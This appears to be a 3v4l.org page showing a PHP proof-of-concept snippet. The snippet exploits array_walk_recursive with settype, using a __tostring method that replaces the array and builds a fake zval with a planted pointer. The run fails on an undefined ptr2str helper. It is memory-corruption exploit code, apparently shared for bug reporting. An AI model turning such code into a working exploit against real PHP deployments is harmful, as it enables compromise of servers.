3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype');
Output for git.master, git.master_jit, rfc.property-hooks
Fatal error: Uncaught Error: Call to undefined function ptr2str() in /in/ONlnn:10 Stack trace: #0 [internal function]: obj->__tostring() #1 [internal function]: settype(Object(obj), 'string') #2 /in/ONlnn(22): array_walk_recursive(1, 'settype') #3 {main} Next TypeError: Iterated value is no longer an array or object in /in/ONlnn:22 Stack trace: #0 /in/ONlnn(22): array_walk_recursive(1, 'settype') #1 {main} thrown in /in/ONlnn on line 22
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
64.06 ms | 406 KiB | 5 Q